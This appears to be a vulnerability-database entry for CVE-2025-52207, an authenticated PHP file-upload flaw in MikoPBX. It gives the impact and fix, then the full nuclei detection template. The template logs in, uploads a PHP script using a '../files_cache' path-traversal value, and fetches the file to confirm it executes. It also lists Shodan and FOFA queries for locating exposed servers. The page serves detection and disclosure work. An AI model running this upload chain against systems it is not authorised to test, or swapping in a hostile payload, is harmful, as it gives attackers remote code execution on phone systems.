HexBrain

Browse / CVEs / CVE-2025-52207

CVE-2025-52207· miko / mikopbx· CWE-23

MikoPBX - Unrestricted File Upload

criticalseverity
9.9CVSS score
1.7%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it

MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.

Impact

Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.

Fix

Update to the latest version beyond 2024.1.114.

How to confirm it

Send: POST /admin-cabinet/session/start
Positive when: contains_all(body, 'BreadcrumbSessionstart') and contains(content_type, 'text/html') and status_code == 200
Send: POST /pbxcore/api/files/uploadFile
Positive when: status_code == 200 and contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")
Send: GET {{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}
Positive when: body==base64(filename) and status_code==200

Run it with nuclei: nuclei -id CVE-2025-52207 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-52207

info:
  name: MikoPBX - Unrestricted File Upload
  author: darses
  severity: critical
  description: |
    MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
  impact: |
    Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
  remediation: |
    Update to the latest version beyond 2024.1.114.
  reference:
    - https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
    cvss-score: 9.9
    cve-id: CVE-2025-52207
    cwe-id: CWE-23
    epss-score: 0.01663
    epss-percentile: 0.769
  metadata:
    vendor: miko
    product: mikopbx
    shodan-query:
      - product:"mikopbx"
      - http.favicon.hash:8309143
      - title:"MikoPBX"
    fofa-query:
      - icon_hash="8309143"
      - title="MikoPBX"
  tags: cve,cve2025,miko,mikopbx,intrusive,authenticated,file-upload,vuln,vkev

variables:
  filename: "{{to_lower(rand_base(8))}}"
  filecontent: "<?php echo(base64_encode(\"{{filename}}\")); ?>"

flow: http(1) && http(2) && http(3)


http:
  - raw:
      - |
        POST /admin-cabinet/session/start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        WebAdminLanguage=en&login={{username}}&password={{password}}&rememberMeCheckBox=false&backUri=%2F

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'BreadcrumbSessionstart')
          - contains(content_type, 'text/html')
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        POST /pbxcore/api/files/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------{{filename}}
        Accept-Encoding: gzip

        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableFilename"

        {{filename}}.php
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableIdentifier"

        ../files_cache/{{filename}}
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        {{filecontent}}
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableChunkNumber"

        1
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableTotalChunks"

        1
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableTotalSize"

        {{len(filecontent)}}
        -----------------------------{{filename}}--


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: upload_path
        json:
          - .data.filename
        internal: true

      - type: dsl
        name: extracted_path
        dsl:
          - replace_regex(upload_path, "(.*\/files_cache)\/", "")
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}"

    matchers:
      - type: dsl
        dsl:
          - body==base64(filename)
          - status_code==200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from